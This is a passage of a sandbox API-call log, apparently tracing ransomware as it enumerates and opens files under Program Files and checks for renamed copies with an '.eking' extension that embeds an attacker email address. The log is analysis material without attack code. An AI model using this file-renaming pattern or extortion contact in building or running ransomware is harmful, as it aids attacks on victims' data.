maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.902] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4955) returned 1 [0183.902] CloseHandle (hObject=0x1e0) returned 1 [0183.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png")) returned 0x20 [0183.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png")) returned 0x20 [0183.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.904] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3081) returned 1 [0183.904] CloseHandle (hObject=0x1e0) returned 1 [0183.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.905] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=27691) returned 1 [0183.905] CloseHandle (hObject=0x1e0) returned 1 [0183.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png")) returned 0x20 [0183.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png")) returned 0x20 [0183.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.906] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=56543) returned 1 [0183.907] CloseHandle (hObject=0x1e0) returned 1 [0183.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png")) returned 0x20 [0183.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png")) returned 0x20 [0183.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.908] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7261) returned 1 [0183.908] CloseHandle (hObject=0x1e0) returned 1 [0183.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png")) returned 0x20 [0183.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png")) returned 0x20 [0183.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.910] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=23722) returned 1 [0183.910] CloseHandle (hObject=0x1e0) returned 1 [0183.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png")) returned 0x20 [0183.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png")) returned 0x20 [0183.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.922] SetEvent (hEvent=0x174) returned 1 [0183.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.923] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=14239) returned 1 [0183.923] CloseHandle (hObject=0x1e0) returned 1 [0183.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml")) returned 0x20 [0183.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml")) returned 0x20 [0183.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.925] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=36575) returned 1 [0183.925] CloseHandle (hObject=0x1e0) returned 1 [0183.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx")) returned 0x20 [0183.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx")) returned 0x20 [0183.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.926] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=79360) returned 1 [0183.927] CloseHandle (hObject=0x1e0) returned 1 [0183.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax")) returned 0x20 [0183.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax")) returned 0x20 [0183.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.928] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=51712) returned 1 [0183.928] CloseHandle (hObject=0x1e0) returned 1 [0183.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax")) returned 0x20 [0183.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax")) returned 0x20 [0183.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.929] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=303104) returned 1 [0183.929] CloseHandle (hObject=0x1e0) returned 1 [0183.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll")) returned 0x20 [0183.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll")) returned 0x20 [0183.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\alftp.exe" (normalized: "c:\\program files\\internet explorer\\alftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.934] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=80384) returned 1 [0183.934] CloseHandle (hObject=0x1e0) returned 1 [0183.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\alftp.exe" (normalized: "c:\\program files\\internet explorer\\alftp.exe")) returned 0x20 [0183.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\alftp.exe" (normalized: "c:\\program files\\internet explorer\\alftp.exe")) returned 0x20 [0183.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\alftp.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\alftp.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\alftp.exe" (normalized: "c:\\program files\\internet explorer\\alftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.935] SetEvent (hEvent=0x174) returned 1 [0183.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\congratulations.exe" (normalized: "c:\\program files\\internet explorer\\congratulations.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.936] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=80384) returned 1 [0183.936] CloseHandle (hObject=0x1e0) returned 1 [0183.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\congratulations.exe" (normalized: "c:\\program files\\internet explorer\\congratulations.exe")) returned 0x20 [0183.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\congratulations.exe" (normalized: "c:\\program files\\internet explorer\\congratulations.exe")) returned 0x20 [0183.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\congratulations.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\congratulations.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\congratulations.exe" (normalized: "c:\\program files\\internet explorer\\congratulations.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.937] SetEvent (hEvent=0x174) returned 1 [0183.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.940] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2560) returned 1 [0183.940] CloseHandle (hObject=0x1e0) returned 1 [0183.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0183.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0183.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.940] SetEvent (hEvent=0x174) returned 1 [0183.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.941] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=28672) returned 1 [0183.941] CloseHandle (hObject=0x1e0) returned 1 [0183.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui")) returned 0x20 [0183.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui")) returned 0x20 [0183.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.942] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2048) returned 1 [0183.942] CloseHandle (hObject=0x1e0) returned 1 [0183.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0183.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0183.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.943] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2048) returned 1 [0183.943] CloseHandle (hObject=0x1e0) returned 1 [0183.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui")) returned 0x20 [0183.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui")) returned 0x20 [0183.944] GetFileAttributesW 